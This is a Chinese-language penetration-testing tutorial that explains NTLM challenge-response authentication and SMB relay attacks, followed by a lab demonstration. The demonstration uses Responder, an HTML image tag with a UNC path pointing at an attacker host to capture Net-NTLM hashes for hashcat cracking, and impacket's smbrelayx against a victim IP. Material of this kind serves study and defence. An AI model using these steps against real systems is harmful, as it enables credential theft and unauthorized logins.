一.NTLM hash 和 Net-NTLM hash
1.客戶端向服務器發送一個請求,請求中包含明文的登錄用戶名。服務器會提前保存登錄用戶名和對應的密碼 hash
2.服務器接收到請求后,生成一個 16 位的隨機數 (被稱為 Challenge也就是挑戰碼), 使用存儲的登錄用戶密碼 hash 加密 Challenge,獲得 Challenge1,將challenge發送給客戶端
3.客戶端接收到 Challenge 后,使用登錄用戶的密碼 hash 對 Challenge 加密,獲得 Challenge2(這個結果被稱為 response),將 response 發送給服務器
4.服務器接收客戶端加密后的 response,比較 Challenge1 和 response,如果相同,驗證成功
PS:在 NTLM 認證中,NTLM 響應分為 NTLM v1,NTLMv2,NTLM session v2 三種協議,不同協議使用不同格式的 Challenge 和加密算法,所以也就存在不同協議的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash
二.SMB中繼流程
1,client端還是正常向服務端發送登錄請求,由於client端此時並不知道攻擊者的存在,它以為請求是發送給了server端,但實際上它是先發給了攻擊者
2,然后攻擊者再拿着這個username假裝成client端發送給server端,此時server端正常返回一個challenge
3,攻擊者拿到這個challenge以后再把它返回給client端
4,而client端拿到challenge在本地和自己的password 加密以后,會把這個response再次發送給攻擊者,此時client依然還以為攻擊者就是server端
5,最后,攻擊者會拿着client端發過來的這個response再把它交給server端去驗證
7,server端此時到自己的數據庫中一對比,發現hash一致,認證通過,登錄成功,可見,一次簡易的smb中間人攻擊就這樣被完成了
三.攻擊演示
PS:
1.受害者不能開啟 smb 簽名
2.打了ms08-068[KB957097]補丁
攻擊機:192.168.127.134
受害機:192.168.127.128
第三方:192.168.127.131
方法一、使用responder -I eth0(網卡名稱)
responder :Kali自帶
或自行安裝:git clone https://github.com/SpiderLabs/Responder.git
PS:此方法只有IE有用
向目標插入UAC路徑:<img src="\\192.168.1.1\xxx.jpg"> 地址內網任意內活主機就可以獲取到net-ntml hash 可以使用hashcat進行破解
方法二、安裝impacket套件
apt-get --reinstall install python-pyasn1 python-pyasn1-modules
git clone https://github.com/CoreSecurity/impacket.git
chmod -R 755 impacket
cd impacket/
python setup.py install
cd examples/
python smbrelayx.py -h 受害機IP
攻擊機上可以看到,當有人net use連接攻擊機上時,攻擊者就回捕捉到了smb 的登錄憑證hash,然后拿着這個hash到受害機嘗試登錄進行重放攻擊

‘
參考鏈接:
https://www.freebuf.com/articles/system/176206.html
https://klionsec.github.io/2016/07/20/smb-replay-attack/
https://zhuanlan.zhihu.com/p/64889695
https://www.jianshu.com/u/3067117bd792